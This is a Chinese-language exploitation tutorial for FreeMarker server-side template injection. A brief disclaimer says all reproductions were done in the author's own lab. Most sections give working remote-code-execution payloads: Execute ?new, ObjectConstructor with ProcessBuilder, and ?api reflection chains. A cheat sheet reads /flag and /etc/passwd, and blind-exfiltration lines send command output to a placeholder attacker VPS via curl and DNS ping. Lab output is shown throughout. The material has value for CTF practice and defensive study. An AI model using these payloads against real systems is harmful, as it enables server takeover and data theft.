本文为教学用途,所有复现均在作者自建靶场内完成。请勿在未授权的情况下对真实系统进行测试。根据《网络安全法》,未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制本文Payload 对外部站点进行测试,违规使用造成的一切后果由使用者自行负责。
1. 利用前的检查清单(先判断,再打)
拿到一个疑似 SSTI 的点,按顺序问自己:
| # | 问题 | 影响 |
|---|---|---|
| 1 | 用户输入进入模板的哪个位置 ?(整个模板 / 拼接 / ?interpret / ?eval / 数据模型) |
决定能写多少语法 |
| 2 | FreeMarker 版本 是多少?(${.version} 可回显) |
决定默认防护 |
| 3 | ?new 的类解析器是否被限制?(SAFER / ALLOWS_NOTHING) |
决定 Execute 能否直接用 |
| 4 | ?api 是否开启?成员访问策略是否默认? |
决定 ?api 路线可行性 |
| 5 | 是否有回显?(错误堆栈、响应内容、DNS/HTTP 外带) | 决定怎么拿结果 |
| 6 | 数据模型里有没有可利用的对象?(POJO、Map、List) |
决定"无 ?new"时能否打 |
怎么快速回显版本?
FreeMarker 有特殊变量
.version:${.version}会输出类似2.3.35。这是识别版本最直接的方法。靶场实测:/vuln/direct?tpl=${.version}→2.3.35。

为什么我的 payload 在本地复现不了?
检查三件事:版本 (
${.version})、?new是否被限制 、用户输入进入的位置是否真的可控。三者任一不同,payload 就可能失效。别怀疑 payload 本身,先确认环境上下文。
CTF 里怎么快速判断该用哪个 payload?先
${7*7}确认,再${.version}看版本;然后直接试?new Execute。若被拦(报not allowed ... security reasons),说明用了SAFER/ALLOWS_NOTHING,转向?interpret/?eval/数据模型方法/?api路线,或寻找 classpath 上的自定义 TemplateModel gadget。
2. 第一步:探测与指纹识别
2.1 最简单的探针
${7*7}
-
返回
49→ 服务端执行了 → 极可能 SSTI。 -
原样返回
${7*7}→ 可能是数据渲染(安全)或前端模板。
2.2 区分"服务端执行"与"前端/其它引擎"
${7*7} -> 49 FreeMarker、JSP EL 等多数 ${} 引擎都支持
#{7*7} -> 49 FreeMarker 也支持(数值插值 #{}),不是它独有
{{7*7}} -> 49 Jinja2 / Twig / Vue 等;FreeMarker 会原样输出 {{7*7}}
${"z"+"z"} -> zz FreeMarker 字符串拼接用 +
${7*"7"} -> 报错 FreeMarker 不做字符串→数字隐式转换
${'7'?number} -> 7 FreeMarker 用 ?number 显式转换
-
{``{7*7}}在 FreeMarker 里不会执行 (靶场实测:原样输出{``{7*7}}),可作为"排除 FreeMarker"的依据。 -
#{7*7}在 FreeMarker 里也会输出 49 (#{}是它的数值插值语法),别拿它当"非 FreeMarker"的特征。 -
FreeMarker 字符串拼接用
+(不是~;~是 Thymeleaf)。 -
${7*"7"}在 FreeMarker 抛ParseException(Expecting: number),可作为 FreeMarker 特征之一。 -
最直接的还是
${.version},命中即坐实。
为什么不能只凭一个 payload 判断引擎?
因为很多语法在多个引擎里"长得像、结果像"(比如
${7*7})。正确做法是组合多个特征 (${}/#{}/{``{}}/ 字符串拼接符 / 报错信息),再结合${.version}这类引擎专属变量下结论。
为什么先探${7*7}而不是直接上Execute?一是不打草惊蛇(有的 WAF/日志会对
Execute、Runtime告警);二是先确认"是服务端执行"再决定后续,避免误报。
${.version}报错怎么办?可能该位置不允许特殊变量,或被过滤。可以改用行为差异判断版本:比如测试
?api是否可用、?new Execute是否被拦、报错信息里是否出现版本号。
${7*7}返回 49,但<#assign>报语法错误,为什么?说明该位置可能只允许"表达式 "(例如
?eval场景),不允许完整指令。此时改用表达式形式 的 payload:"freemarker.template.utility.Execute"?new()("id")。
3. 核心武器一:?new 实例化危险类
前提:?new 的解析器未被限制(2.3.x 默认 UNRESTRICTED_RESOLVER),且用户输入能写 <#assign>/表达式。
3.1 freemarker.template.utility.Execute(最常用,直接回显)
payload:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
靶场实测(/vuln/direct、/vuln/concat、/vuln/interpret、/vuln/eval 均可):
uid=0(root) gid=0(root) groups=0(root)
读文件 / 任意命令:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("cat /flag")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("uname -a")}
特点: Execute 实现了 TemplateMethodModel,调用它 = 执行命令并返回输出。有回显,最省事。
Execute
freemarker.template.utility.Execute 是FreeMarker 自带的 Java 工具类 ,包在 freemarker.jar 里,作用:用来直接调用服务器操作系统命令FreeMarker
核心特性
- 实现了接口
TemplateMethodModel,满足 Freemarker?new()实例化的要求,模板里拿到实例之后,**可以像函数一样直接加括号调用ex("cmd")**FreeMarker - 里面有核心方法
exec(List arguments)- 底层封装
ProcessBuilder,去创建操作系统子进程 - 接收命令字符串,执行系统命令,捕获标准输出 stdout,返回给模板渲染输出
- 简单理解:
Execute就是 Freemarker 内置的 "命令执行器"
- 底层封装
Execute能执行带管道/重定向的命令吗(如id | base64、id > /tmp/x)?不能。
Execute源码里是Runtime.getRuntime().exec(String),它把字符串按空格 拆成"程序 + 参数"直接运行,不经过 shell 。所以|、>、`````、;、&&、通配符都不会被解释。靶场实测:
ex("id | base64")→ 空输出(|被当成普通参数,id因多余参数报错,而 stderr 不返回);
ex("echo hi > /tmp/x")→ 输出hi > /tmp/x,文件没有 被创建。想要 shell 特性,改用ObjectConstructor+ProcessBuilder传["sh","-c","..."](列表形式,不受空格拆分影响),见 3.2。简单命令(id、cat /flag、uname -a)用Execute完全没问题。
为什么有的 payload 写成
<#assign value="freemarker.template.utility.Execute"?new()>${value("id")}?只是变量名不同(
ex/value/cmd),效果一样。变量名可任意取。
payload 里的引号和转义很头疼怎么办?
模板里字符串用双引号;命令里需要引号时,尽量用
sh -c "..."或在 FTL 里用\"转义。URL 传输时用
curl --data-urlencode,让 curl 帮你编码,不要手写%xx。遇到空格/特殊字符,可用
${"a"+"b"}拼接或 base64 绕过过滤。
3.2 freemarker.template.utility.ObjectConstructor(构造任意类)
ObjectConstructor 的语义是"按类名构造一个对象",不受 TemplateModel 限制 (它能构造任意类)。语法:oc("全限定类名", 构造参数1, 构造参数2, ...)。
构造一个字符串:
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
${oc("java.lang.String","hello")}
# => hello
构造 ProcessBuilder 并执行命令(有回显,靶场实测):
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=oc("java.lang.ProcessBuilder",["sh","-c","id"])>
<#assign p=pb.start()>
<#assign isr=oc("java.io.InputStreamReader",p.getInputStream())>
<#assign br=oc("java.io.BufferedReader",isr)>
${br.readLine()}
实测输出:
uid=0(root) gid=0(root) groups=0(root)
读 /flag:把 ["sh","-c","id"] 换成 ["sh","-c","cat /flag"] 即可。
为什么这条链能成?
ObjectConstructor能构造ProcessBuilder(不是 TemplateModel 也没关系);
pb.start()是ProcessBuilder的实例方法,默认成员访问策略没有拉黑ProcessBuilder(拉黑的是Runtime.getRuntime/exec);
InputStreamReader、BufferedReader也都不是集合,方法可直接调用,最后readLine()拿到输出。这条链非常"干净",不依赖?api,只依赖?new。
Execute和ObjectConstructor该用哪个?优先
Execute:简单、有回显、一行搞定。当Execute被拦(SAFER)时,ObjectConstructor通常也被拦。真正需要
ObjectConstructor的场景是:需要构造某个特定类来配合其它逻辑(如ProcessBuilder+ 流读取)。
3.3 freemarker.template.utility.JythonRuntime(需要 Jython 依赖)
<#assign j="freemarker.template.utility.JythonRuntime"?new()>...
-
该类允许在模板里执行 Jython(Python)代码,因此能 RCE。
-
前提: 应用的 classpath 里有 Jython(
org.python.*)。靶场没有引入 Jython,实测报错:java.lang.NoClassDefFoundError: org/p/python/util/PythonInterpreter。 -
现实中若目标集成了 Jython,这条链可用;否则忽略。
3.4 自定义 / 第三方 TemplateModel 类
如果目标 classpath 里存在实现了 TemplateModel 且行为危险 的类(例如某些模板插件、运维工具),?new 也能把它 new 出来。所以 SAFER_RESOLVER 只拉黑"已知三类",对自定义危险类无能为力(见第 7 节)。
4. 核心武器二:?interpret 与 ?eval
当代码里用了这两个内建且参数可控时,直接利用:
<#assign t = payload?interpret><@t/>
${payload?eval}
-
靶场
/vuln/interpret、/vuln/eval实测均可执行:tpl=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} => uid=0(root) ... -
注意:
?interpret/?eval里再出现?new,仍然会走同一个TemplateClassResolver。也就是说,如果?new被设为SAFER,那么"通过?interpret再?new Execute"同样会被拦。但?interpret/?eval本身不受类解析器限制,所以它们依然能用来调用数据模型里已有对象的方法。
5. 核心武器三:?api + 反射链(进阶)
?api 让模板绕过"简化视图"直接调用 Java 方法。默认关闭 (2.3.22 起 api_builtin_enabled=false)。即使开发者打开了它,2.3.30+ 的默认成员访问策略也会拦掉一大批危险方法。
5.1 默认策略下:能调普通方法,调不了危险方法
靶场 /vuln/api(?api 已开启,成员策略为默认):
${list?api.getClass().getName()}
# => java.util.ArrayList (可以)
${bean?api.getGreeting()}
# => hi from DemoBean (可以,普通业务方法)
${bean?api.getClass().getClassLoader().getName()}
# => 模板处理失败 (被拦!getClassLoader 在黑名单里)
5.2 关闭成员策略后:完整反射 RCE(靶场实测)
靶场 /vuln/api-unsafe(?api 开启 + 成员策略换成"允许一切")的可用链:
<#assign cl=bean?api.getClass().getClassLoader()>
<#assign rt=cl.loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null)>
<#assign p=rt.exec("id")>
<#assign isc=cl.loadClass("java.io.InputStream")>
<#assign strc=cl.loadClass("java.lang.String")>
<#assign scClass=cl.loadClass("java.util.Scanner")>
<#assign sc=scClass.getConstructor([isc]).newInstance([p.getInputStream()])>
<#assign sc=scClass.getMethod("useDelimiter",[strc]).invoke(sc,["\\A"])>
<#assign out=scClass.getMethod("next",[]).invoke(sc,[])>${out}
实测输出:
uid=0(root) gid=0(root) groups=0(root)
读 /flag:把 exec("id") 换成 exec("cat /flag")。
为什么读输出要绕这么一大圈?
因为
Process的输出流不能直接在模板里读。这里用Scanner读流;但Scanner实现了Iterator,会被 FreeMarker 当成集合 ,导致sc.useDelimiter(...)这种"方法调用"报NonHashException。于是改用反射Method.invoke绕开包装。这是实战中很典型的"小坑"。
为什么getClassLoader()一开始返回 null?因为
ArrayList是 JDK 核心类,由 Bootstrap ClassLoader 加载,getClassLoader()返回null。换成本应用的 POJO(靶场里的bean,由 AppClassLoader 加载)后就有值了。实战中数据模型多为应用对象,所以这条链很现实。
5.3 ?api 路线小结
-
?api默认关闭 → 没开就别指望。 -
开了但用默认成员策略(2.3.30+)→ 危险方法基本被拦,但普通方法仍可调用(信息泄露、逻辑绕过)。
-
开了且成员策略被改成宽松(或版本 < 2.3.30)→ 完整反射 RCE。
6. 版本与安全时间线
| 版本 | 安全相关变化 | 对利用的影响 |
|---|---|---|
| 2.3.17 | 引入 TemplateClassResolver,可限制 ?new 的类 |
默认仍是 UNRESTRICTED,Execute 可用 |
| 2.3.22 | 引入 ?api,且默认 api_builtin_enabled=false |
?api 默认不可用 |
| 2.3.30 | 引入可插拔的 MemberAccessPolicy 与 DefaultMemberAccessPolicy,取代旧黑名单 |
把旧黑名单正式化,并新增 拉黑 Runtime.getRuntime、ClassLoader.loadClass、Class.getResource*、Field.get、URL.openConnection/openStream、大量 Thread/System 方法等 |
| 2.3.32 | 继续收紧(如 Package.getPackages 被拉黑) |
细节绕过更难 |
| 2.3.35 | 继续收紧(如 System.getProperties 被拉黑) |
当前最新稳定版 |
| 2.4.0(未发布) | newBuiltinClassResolver 默认改为 SAFER_RESOLVER |
Execute/ObjectConstructor/JythonRuntime 默认被拦 |
权威依据:FreeMarker API 文档明确写道------"The default value is
TemplateClassResolver.UNRESTRICTED_RESOLVERin FreeMarker 2.3.x, andTemplateClassResolver.SAFER_RESOLVERstarting from FreeMarker 2.4.0." 以及 2.3.35 源码中的DefaultMemberAccessPolicy-rules文件(逐条标注 "Disallowed since 2.3.0 / 2.3.30 / 2.3.32 / 2.3.35")。
那些危险方法是 2.3.30 才开始被拦的吗?不完全是。 FreeMarker 从很早(规则文件标注 "since 2.3.0 ")就有一套旧黑名单 ,已经拦了
Runtime.exec、Class.forName、Class.getClassLoader、Class.newInstance、Method.invoke、Constructor.newInstance、Field.set等。2.3.30 做的是把这套机制升级为可插拔的
MemberAccessPolicy,并追加 一批新条目(标注 "since 2.3.30"),例如Runtime.getRuntime、ClassLoader.loadClass、Class.getResource*、Field.get、URL.openConnection/openStream、Thread.getStackTrace、System.getSecurityManager等。所以更准确的说法是:危险方法一直被拦,2.3.30 让拦截更系统、更全面。
为什么 2.3.x 都到 2.3.35 了,Execute还能用?因为 FreeMarker 为了向后兼容 ,把"更安全的默认值"留给了大版本 2.4.0,而 2.3.x 只通过"成员访问策略"等新增可选项 来缓解。也就是说:2.3.x 默认配置下,
?new Execute依然是 RCE。
7. 当 ?new 被限制(SAFER / ALLOWS_NOTHING)时怎么办
7.1 SAFER_RESOLVER 到底拦了什么
SAFER_RESOLVER = UNRESTRICTED_RESOLVER 减去 三个类:ObjectConstructor、Execute、JythonRuntime。
靶场 /defense/safer 实测:
tpl=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
=> 模板处理失败:
Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.

ObjectConstructor 同样被拦:
Instantiating freemarker.template.utility.ObjectConstructor is not allowed in the template for security reasons.
7.2 SAFER 下还能怎么打(现实评估)
| 思路 | 是否可行 | 说明 |
|---|---|---|
?new Execute/ObjectConstructor/JythonRuntime |
否 | 被明确拉黑 |
?new 其它类 |
有限 | ?new 只能实例化 TemplateModel,普通类会报 does not implement TemplateModel;若 classpath 有自定义危险 TemplateModel 则可利用 |
?interpret / ?eval |
仍然工作 | 但里面再 ?new Execute 仍会被同一解析器拦;可用于调用数据模型对象的方法 |
?api + 反射 |
取决于配置 | ?api 默认关;开了且成员策略宽松才可 RCE |
| 静态初始化副作用 | 理论可行 | 官方文档指出 ?new 会触发类的静态初始化,即使该类不实现 TemplateModel;可结合类路径上的 gadget |
| 利用数据模型已有对象的方法 | 常见 | 例如模型里有 TemplateModel、有危险 getter 的 POJO,可链式调用 |
ALLOWS_NOTHING_RESOLVER是不是就安全了?它能禁止所有
?new,但仍不禁止?interpret/?eval,也不禁止"调用数据模型对象的方法"。所以它是"更安全",不是"绝对安全"。根治仍然是"不让用户输入进模板"。
7.3 为什么 SAFER 不是银弹
-
它只认三个"已知类名",不认行为 。换一个 classpath 上的自定义
TemplateModel就可能绕过。 -
它管不到
?interpret/?eval对已有对象方法的调用。 -
它管不到
?api路线(若被开启且策略宽松)。
8. Payload 速查表
以下均假设
?new未被限制(2.3.x 默认),且用户输入可写模板语法。
探测
${7*7}
${.version}
${"z"+"z"}
Execute(推荐,有回显)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("cat /etc/passwd")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c 'id > /tmp/x'")}
ObjectConstructor(构造任意类 + 回显)
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()><#assign pb=oc("java.lang.ProcessBuilder",["sh","-c","id"])><#assign p=pb.start()><#assign isr=oc("java.io.InputStreamReader",p.getInputStream())><#assign br=oc("java.io.BufferedReader",isr)>${br.readLine()}
?eval 表达式版(模板为 ${payload?eval} 时,payload 就是下面这段表达式)
"freemarker.template.utility.Execute"?new()("id")
若该位置本身已经处在
${...}插值里(即${用户输入}),则写完整表达式:${"freemarker.template.utility.Execute"?new()("id")}
?api 反射链(需 ?api 开启且成员策略宽松)
<#assign cl=bean?api.getClass().getClassLoader()><#assign rt=cl.loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null)><#assign p=rt.exec("id")><#assign isc=cl.loadClass("java.io.InputStream")><#assign strc=cl.loadClass("java.lang.String")><#assign scClass=cl.loadClass("java.util.Scanner")><#assign sc=scClass.getConstructor([isc]).newInstance([p.getInputStream()])><#assign sc=scClass.getMethod("useDelimiter",[strc]).invoke(sc,["\\A"])><#assign out=scClass.getMethod("next",[]).invoke(sc,[])>${out}
无回显时(盲打 / 外带)
Execute 不走 shell,不能 用 |、````` 做命令替换,所以盲打要用 ObjectConstructor + ProcessBuilder 的 sh -c 形式:
<#-- 把 id 结果 base64 后外带到你的 HTTP 服务器 -->
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=oc("java.lang.ProcessBuilder",["sh","-c","curl http://你的vps/$(id|base64)"])>
<#assign p=pb.start()>sent
<#-- DNS 外带:把主机名/用户名拼进域名 -->
<#assign pb=oc("java.lang.ProcessBuilder",["sh","-c","ping -c 1 $(whoami).你的域名"])>
<#assign p=pb.start()>sent
为什么盲打要用
sh -c,不直接用Execute?因为
Execute内部是Runtime.exec(String),不经过 shell ,|、$()、````` 都不生效(见 3.1 实测)。而ProcessBuilder接收的是列表["sh","-c","..."],由sh解释整条命令,所以管道、命令替换、重定向都能用。id|base64是为了把结果里的空格/特殊字符编码成 URL 安全的形式,方便通过 HTTP 路径外带。
9. 本篇小结
-
先探
${7*7}和${.version},确认服务端执行 + 版本。 -
?new Execute是首选(2.3.x 默认可用,直接回显)。 -
ObjectConstructor能构造任意类,ProcessBuilder + BufferedReader可做干净回显。 -
?interpret/?eval是独立入口,不受类解析器限制,但内部?new仍受限。 -
?api默认关;2.3.30+ 默认成员策略拉黑大量危险方法,除非策略被放宽。 -
SAFER_RESOLVER只拦三个已知类,不是银弹;ALLOWS_NOTHING更强但仍管不住?interpret/?eval和数据模型方法。 -
永远记住:根因是"用户输入进模板",payload 只是它的表现形式。